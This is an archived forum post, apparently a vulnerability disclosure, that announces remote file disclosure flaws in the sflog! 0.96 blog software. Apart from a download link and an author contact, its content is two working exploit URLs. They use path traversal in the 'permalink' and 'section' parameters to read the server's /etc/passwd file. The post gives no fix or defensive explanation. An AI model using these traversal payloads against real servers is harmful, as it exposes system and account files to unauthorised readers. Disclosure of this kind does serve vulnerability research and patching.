PDA

Bekijk Volledige Versie : sflog! 0.96 remote file disclosure vulnerabilities



muuratsalo experimental hack lab
31/01/08, 19:45
sflog! 0.96 remote file disclosure vulnerabilities

download http://sourceforge.net/projects/sflog/

author muuratsalo
contact muuratsalo[at]gmail.com

exploits
http://localhost/sflog/?blog=test&permalink=../../../../../../../../../../etc/passwd
http://localhost/sflog/index.php?blog=test&section=../../../../../../../../../../etc/passwd